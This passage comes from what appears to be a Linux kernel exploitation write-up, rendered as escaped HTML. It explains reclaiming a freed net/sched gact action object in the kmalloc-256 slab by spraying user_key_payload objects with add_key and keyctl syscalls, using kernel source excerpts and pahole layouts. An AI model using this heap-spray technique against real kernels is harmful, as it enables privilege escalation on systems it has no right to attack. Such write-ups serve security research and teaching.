&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		   int&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; bind&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; bool&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; cpustats&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span&gt; u32 &lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; tc_action &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;p &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; kzalloc&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;ops&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; GFP_KERNEL&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;EXPORT_SYMBOL&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span&gt;tcf_idr_create&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Creating an action means allocating the &lt;code&gt;struct tc_action&lt;/code&gt; subclass for that action type.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/net/sched/act_gact.c#L287&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;static&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span&gt; tc_action_ops act_gact_ops &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.kind		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=	&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;gact&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.id		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;	TCA_ID_GACT&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.owner		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;	THIS_MODULE&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.act		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;	tcf_gact_act&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.stats_update	&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;	tcf_gact_stats_update&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.dump		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;	tcf_gact_dump&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.init		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;	tcf_gact_init&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.get_fill_size	&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;	tcf_gact_get_fill_size&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.offload_act_setup &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;	tcf_gact_offload_act_setup&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	.size		&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=	sizeof&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; tcf_gact)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;MODULE_ALIAS_NET_ACT&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;gact&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The gact subclass is &lt;code&gt;struct tcf_gact&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# pahole &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&lt;/span&gt;&lt;span&gt;C tcf_gact vmlinux&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; tcf_gact &lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;        struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; tc_action           common &lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__attribute__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__aligned__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt; /*     0   192 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;        /* XXX last struct has 4 bytes of padding, 4 holes */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;        /* --- cacheline 3 boundary (192 bytes) --- */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;        u16                        tcfg_ptype&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;           /*   192     2 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;        u16                        tcfg_pval&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;            /*   194     2 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;        int&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;                        tcfg_paction&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;         /*   196     4 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-1&quot;&gt;        atomic_t&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;                   packets &lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__attribute__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__aligned__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt; /*   200     4 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;        /* size: 208, cachelines: 4, members: 5 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;        /* padding: 4 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;        /* member types with holes: 1, total: 4 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;        /* paddings: 1, sum paddings: 4 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;        /* forced alignments: 2 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;        /* last cacheline: 16 bytes */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; __attribute__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__aligned__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;struct tcf_gact&lt;/code&gt; is 208 bytes, landing in the kmalloc-256 slab cache.&lt;/p&gt;
&lt;p&gt;Spray &lt;code&gt;struct user_key_payload&lt;/code&gt; to reclaim the &lt;code&gt;Victim Object&lt;/code&gt;’s slab slot, obtaining the &lt;code&gt;Reclaim Object&lt;/code&gt;.&lt;/p&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;The action is only actually freed once its refcount reaches zero, on an arbitrary CPU.&lt;/p&gt;
&lt;p&gt;So a spray thread must be created on every possible CPU.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Creating a &lt;code&gt;struct user_key_payload&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;key &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; syscall&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span&gt;SYS_add_key&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;, &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot;, &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot;,&lt;/span&gt;&lt;span&gt; payload&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;, sizeof&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span&gt;payload&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span&gt; KEY_SPEC_PROCESS_KEYRING&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Updating the &lt;code&gt;struct user_key_payload&lt;/code&gt;, used for spraying:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;syscall&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span&gt;SYS_keyctl&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span&gt; KEYCTL_UPDATE&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span&gt; key&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span&gt; payload&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;, sizeof&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span&gt;payload&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# pahole &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&lt;/span&gt;&lt;span&gt;C user_key_payload vmlinux&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; user_key_payload &lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;        struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; callback_head       rcu &lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__attribute__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__aligned__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt; /*     0    16 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;        short unsigned int&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;         datalen&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;              /*    16     2 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;        /* XXX 6 bytes hole, try to pack */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;        char&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;                       data&lt;/span&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; __attribute__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__aligned__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt; /*    24     0 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;        /* size: 24, cachelines: 1, members: 3 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;        /* sum members: 18, holes: 1, sum holes: 6 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;        /* forced alignments: 2, forced holes: 1, sum forced holes: 6 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;        /* last cacheline: 24 bytes */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; __attribute__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__aligned__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;struct user_key_payload&lt;/code&gt; header is 24 bytes; &lt;code&gt;data&lt;/code&gt; is a flexible array whose size is fixed at creation.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/security/keys/user_defined.c#L67&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; user_preparse&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; key_preparsed_payload &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;prep&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	upayload &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; kmalloc&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;upayload&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; +&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; datalen&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; GFP_KERNEL&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;upayload)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		return&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;ENOMEM&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;EXPORT_SYMBOL_GPL&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span&gt;user_preparse&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The size of &lt;code&gt;struct user_key_payload&lt;/code&gt; is the header size plus the &lt;code&gt;data&lt;/code&gt; size. For &lt;code&gt;struct user_key_payload&lt;/code&gt; to also land in the kmalloc-256 slab cache, &lt;code&gt;data&lt;/code&gt; + 24 must be greater than 192 and at most 256.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/security/keys/keyctl.c#L341&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; keyctl_update_key&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-1&quot;&gt;key_serial_t&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; id&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;		       const&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; void&lt;/span&gt;&lt;span&gt; __user &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;_payload&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		       size_t&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; plen&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* pull the payload in if one was supplied */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	payload &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; NULL&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (plen) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;		ret &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;= -&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;ENOMEM&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;		payload &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; kvmalloc&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;plen&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; GFP_KERNEL&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;payload)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;			goto&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; error&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
